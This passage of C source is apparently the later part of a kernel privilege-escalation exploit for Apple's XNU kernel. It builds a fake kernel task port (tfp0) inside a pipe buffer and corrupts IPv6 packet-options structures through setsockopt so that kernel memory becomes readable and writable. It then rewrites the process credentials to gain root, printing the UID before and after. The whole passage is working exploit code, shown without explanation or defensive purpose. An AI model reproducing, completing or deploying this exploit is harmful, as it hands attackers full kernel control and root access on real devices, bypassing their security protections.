        EarlyKernelRead64(mytask_kaddr + TASK_ITK_REGISTERED_OFFSET, &cport_kaddr);

        if(cport_kaddr == 0)
            continue;

        for(int j=0; j<pipecnt; j++){
            uint64_t pipebuf = 0;
            EarlyKernelRead64(ourpipes[j] + PIPE_PIPEBUF_BUFFER_OFF, &pipebuf);

            if(!pipebuf)
                continue;

            /* check if this pipe is a collider pipe or if it holds our fake task */
            uint64_t val = 0;
            EarlyKernelRead64(pipebuf, &val);

            if(faketask_kaddr == 0 && val == FAKE_TASK_PIPE_MAGIC)
                faketask_kaddr = pipebuf + sizeof(FAKE_TASK_PIPE_MAGIC);

            if((uint32_t)val != colliderkzone)
                continue;

            uint64_t cport_kaddr_upper48 = cport_kaddr & 0xffffffffffff0000;

            if(pipebuf == cport_kaddr_upper48){
                printf("Pipe buffer %d kptr and port %d kptr have the same upper"
                        " 48 bits: %#llx and %#llx\n", j, i, pipebuf, cport_kaddr);

                tfp0 = colliderports[i];

                uint32_t pipeidx = 0;
                EarlyKernelRead32(pipebuf + 4, &pipeidx);
                printf("tfp0 pipe is colliderpipe %d\n", pipeidx);
                tfp0pipe = colliderpipes[pipeidx];

                break;
            }
        }

        /* unregister */
        mach_ports_register(mach_task_self(), NULL, 0);

        if(tfp0 != MACH_PORT_NULL)
            break;
    }

    free(ourpipes);
    ourpipes = NULL;

    for(int i=0; i<num_pagesize_kallocs; i++)
        mach_port_destroy(mach_task_self(), pagesize_kallocs[i]);

    free(pagesize_kallocs);
    pagesize_kallocs = NULL;

    for(int i=0; i<num_kalloc_512s; i++)
        mach_port_destroy(mach_task_self(), kalloc_512s[i]);

    for(int i=0; i<numcolliders; i++){
        if(tfp0 == MACH_PORT_NULL || colliderports[i] != tfp0)
            mach_port_destroy(mach_task_self(), colliderports[i]);

        if(tfp0pipe == NULL || colliderpipes[i] != tfp0pipe){
            close(*colliderpipes[i]);
            close(*(colliderpipes[i] + 1));
            free(colliderpipes[i]);
        }
    }

    if(tfp0 == MACH_PORT_NULL){
        printf("Couldn't find a good pipe buffer/port pointer pair\n");
        return 1;
    }

    struct ipc_space myipcspace = {0};
    EarlyKernelReadN(myipcspace_kaddr, &myipcspace, sizeof(myipcspace));

    uint32_t tfp0_portidx = MACH_PORT_INDEX(tfp0);
    tfp0_portidx *= sizeof(struct ipc_entry);

    uint64_t baseaddr = myipcspace.is_table + tfp0_portidx;

    kport_t ktfp0 = {0};
    ktfp0.ip_bits = io_makebits(1, IOT_PORT, IKOT_TASK);
    ktfp0.ip_references = 100;
    ktfp0.ip_lock.data = 0;
    ktfp0.ip_lock.type = 0x11;
    ktfp0.ip_receiver = kern_ipc_space_kaddr;
    ktfp0.ip_kobject = faketask_kaddr;
    ktfp0.ip_srights = 99;

    /* get rid of the stuff we sent to the pipe to create the initial pipe buffer... */
    char junkbuf[colliderkzone - 1];
    read(tfp0pipe[0], junkbuf, sizeof(junkbuf));

    /* ...and replace it with our fake tfp0 */
    write(tfp0pipe[1], &ktfp0, sizeof(ktfp0));

    /* we're only using 18 bytes here, the extra two bytes is to make
     * EarlyKernelReadN happy (20 is divisible by 4)
     */
    char obliterated[20];
    EarlyKernelReadN((baseaddr - sizeof(struct in6_pktinfo)) + 2, obliterated,
            sizeof(obliterated));

    struct ip6_pktopts old_pktopts = {0};
    read(evil_pipe[0], &old_pktopts, sizeof(old_pktopts));

    struct ip6_pktopts new_pktopts = {0};
    new_pktopts.ip6po_pktinfo = (baseaddr - sizeof(struct in6_pktinfo)) + 2;

    write(evil_pipe[1], &new_pktopts, sizeof(new_pktopts));

    struct in6_pktinfo pktinfo = {0};
    /* must be non-zero to prevent kfree on new_pktopts.ip6po_pktinfo */
    pktinfo.ipi6_ifindex = 1;

    setsockopt(evil_socket, IPPROTO_IPV6, IPV6_PKTINFO, &pktinfo, sizeof(pktinfo));

    /* tfp0 is now a real, (but fake) kernel task port! */

    KernelWrite(tfp0, (baseaddr - sizeof(struct in6_pktinfo)) + 2, obliterated,
            sizeof(obliterated) - 2);

    close(evil_socket);
    close(*evil_pipe);
    close(*(evil_pipe + 1));

    evil_socket = -1;
    evil_pipe = NULL;

    printf("UID: %d\n", getuid());
    uid_t orig_uid, orig_ruid, orig_svuid;
    gid_t orig_rgid, orig_svgid;

    if((kret = root(tfp0, myproc_ucred_kaddr, &orig_uid, &orig_ruid, &orig_svuid,
                &orig_rgid, &orig_svgid))){
        printf("Couldn't get root: %s\n", mach_error_string(kret));
    }

    printf("UID: %d\n", getuid());

    if((kret = unroot(tfp0, myproc_ucred_kaddr, orig_uid, orig_ruid, orig_svuid,
            orig_rgid, orig_svgid))){
        printf("Couldn't unroot: %s\n", mach_error_string(kret));
    }

    *tfp0out = tfp0;

    return 0;
}